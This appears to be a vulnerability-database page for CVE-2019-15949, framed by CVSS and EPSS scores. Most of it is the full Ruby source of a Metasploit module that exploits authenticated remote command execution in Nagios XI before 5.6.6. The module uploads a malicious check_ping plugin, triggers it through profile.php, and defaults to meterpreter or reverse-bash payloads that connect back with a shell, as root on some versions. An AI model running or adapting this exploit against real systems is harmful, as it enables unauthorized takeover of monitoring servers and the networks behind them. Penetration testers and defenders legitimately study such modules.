CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
97.6%
This module exploits a vulnerability in the getprofile.sh script of Nagios XI prior to 5.6.6 in order to upload a malicious check_ping plugin and thereby execute arbitrary commands. For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user. For versions 5.5.0-5.6.5 the commands are run as root. Note that versions prior to 5.2.0 will still be marked as being vulnerable however this module does not presently support exploiting these targets. The module uploads a malicious check_ping plugin to the Nagios XI server via /admin/monitoringplugins.php and then executes this plugin by issuing a HTTP GET request to download a system profile from the server. For all supported targets except Linux (cmd), the module uses a command stager to write the exploit to the target via the malicious plugin. This may not work if Nagios XI is running in a restricted Unix environment, so in that case the target must be set to Linux (cmd). The module then writes the payload to the malicious plugin while avoiding commands that may not be supported. Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI 5.3.0 and Nagios 5.6.5, both running on CentOS 7. For vulnerable versions before 5.5.0, it may take a significant amount of time for the payload to get back (up to 5 minutes). If exploitation fails against an older system, it is recommended to increase the WfsDelay setting (default is 300 seconds). See the documentation for more information.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::NagiosXi
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Module::Deprecated
moved_from 'exploit/linux/http/nagios_xi_authenticated_rce'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the getprofile.sh script
of Nagios XI prior to 5.6.6 in order to upload a malicious check_ping
plugin and thereby execute arbitrary commands.
For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user.
For versions 5.5.0-5.6.5 the commands are run as root. Note that versions
prior to 5.2.0 will still be marked as being vulnerable however this
module does not presently support exploiting these targets.
The module uploads a malicious check_ping plugin to the Nagios XI server via
/admin/monitoringplugins.php and then executes this plugin by issuing
a HTTP GET request to download a system profile from the server.
For all supported targets except Linux (cmd), the module uses a command
stager to write the exploit to the target via the malicious plugin.
This may not work if Nagios XI is running in a restricted Unix environment,
so in that case the target must be set to Linux (cmd). The module then
writes the payload to the malicious plugin while avoiding commands
that may not be supported.
Valid credentials for a user with administrative privileges are
required. This module was successfully tested on Nagios XI 5.3.0 and
Nagios 5.6.5, both running on CentOS 7. For vulnerable versions before
5.5.0, it may take a significant amount of time for the payload to get
back (up to 5 minutes). If exploitation fails against an older system,
it is recommended to increase the WfsDelay setting (default is 300
seconds). See the documentation for more information.
},
'License' => MSF_LICENSE,
'Author' => [
'Jak Gibb', # https://github.com/jakgibb/ - Discovery and exploit
'Erik Wynter' # @wyntererik - Metasploit
],
'References' => [
['CVE', '2019-15949'],
['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] # original PHP exploit
],
'Payload' => { 'BadChars' => "\x00" },
'Targets' => [
[
'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
'Payload' => {
'Append' => ' & disown', # the payload must be disowned after execution, otherwise cleanup fails
'BadChars' => '"'
}
}
]
],
'Privileged' => true,
'DisclosureDate' => '2019-07-29',
'DefaultOptions' => { 'WfsDelay' => 300 }, # Necessary because the payload connects back with a significant delay. On versions older than 5.5.0 it takes especially long.
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])
]
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def finish_install
datastore['FINISH_INSTALL']
end
def check
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
# an array containing the http response body of a get request to index.php and the session cookies
auth_result, err_msg, @auth_cookies, @version = authenticate(username, password, finish_install)
case auth_result
when AUTH_RESULTS[:connection_failed]
return CheckCode::Unknown(err_msg)
when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
return CheckCode::Detected(err_msg)
when AUTH_RESULTS[:not_nagios_application]
return CheckCode::Safe(err_msg)
end
if @version < Rex::Version.new('5.6.6')
return CheckCode::Appears
end
return CheckCode::Safe
end
def grab_plugins_nsp
# visit the plugins page to grab the nsp token required for uploading the payload
res = send_request_cgi({
'uri' => @monitoring_plugins_url,
'method' => 'GET',
'cookie' => @auth_cookies
})
unless res
fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{@monitoring_plugins_url}`")
end
unless res.code == 200 && res.body.include?('<title>Manage Plugins · Nagios XI</title>')
fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{@monitoring_plugins_url}`")
end
@nsp = get_nsp(res)
if @nsp.blank?
fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload')
end
end
def execute_command(cmd, _opts = {})
print_status("Uploading malicious 'check_ping' plugin...")
post_data = Rex::MIME::Message.new
post_data.add_part(Rex::Text.rand_text_numeric(8), nil, nil, 'form-data; name="upload"')
post_data.add_part(@nsp, nil, nil, 'form-data; name="nsp"')
post_data.add_part(Rex::Text.rand_text_numeric(8), nil, nil, 'form-data; name="MAX_FILE_SIZE"')
post_data.add_part(cmd, 'text/plain', nil, 'form-data; name="uploadedfile"; filename="check_ping"')
# upload payload
res = send_request_cgi({
'method' => 'POST',
'uri' => @monitoring_plugins_url,
'cookie' => @auth_cookies,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})
unless res
fail_with Failure::Unreachable, 'Upload failed'
end
unless res.code == 200 && res.body.include?('New plugin was installed successfully')
fail_with Failure::Unknown, 'Failed to upload plugin.'
end
@plugin_installed = true
end
# This request will timeout. It has to, for the exploit to work.
def execute_payload
print_status('Executing plugin...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'includes', 'components', 'profile', 'profile.php'),
'method' => 'GET',
'cookie' => @auth_cookies,
'vars_get' => { 'cmd' => 'download' }
}, 0)
end
def cleanup
return unless @plugin_installed
print_status("Deleting malicious 'check_ping' plugin...")
res = send_request_cgi({
'uri' => @monitoring_plugins_url,
'method' => 'GET',
'cookie' => @auth_cookies,
'vars_get' => {
'delete' => 'check_ping',
'nsp' => @nsp
}
})
unless res
print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")
return
end
unless res.code == 200 && res.body.include?('Plugin deleted')
print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")
return
end
print_good('Plugin deleted.')
end
def exploit
unless @auth_cookies.present?
auth_result, err_msg, @auth_cookies, @version = authenticate(username, password, finish_install)
case auth_result
when AUTH_RESULTS[:connection_failed]
return CheckCode::Unknown(err_msg)
when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
return CheckCode::Detected(err_msg)
when AUTH_RESULTS[:not_nagios_application]
return CheckCode::Safe(err_msg)
end
end
@monitoring_plugins_url = normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')
grab_plugins_nsp
wfsdelay = datastore['WfsDelay']
if @version < Rex::Version.new('5.2.0')
fail_with(Failure::NoTarget, "Target is vulnerable but this module does not support exploiting NagiosXI #{@version} at this time.")
end
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
message = "Waiting up to #{wfsdelay} seconds for the payload to connect back..."
else
execute_cmdstager(background: true)
message = "Waiting up to #{wfsdelay} seconds for the plugin to request the final payload..."
end
if @version >= Rex::Version.new('5.2.0') && @version < Rex::Version.new('5.5.0')
print_warning("For NagiosXi version #{@version} it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.")
end
print_good('Successfully uploaded plugin.')
execute_payload
print_status(message)
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
97.6%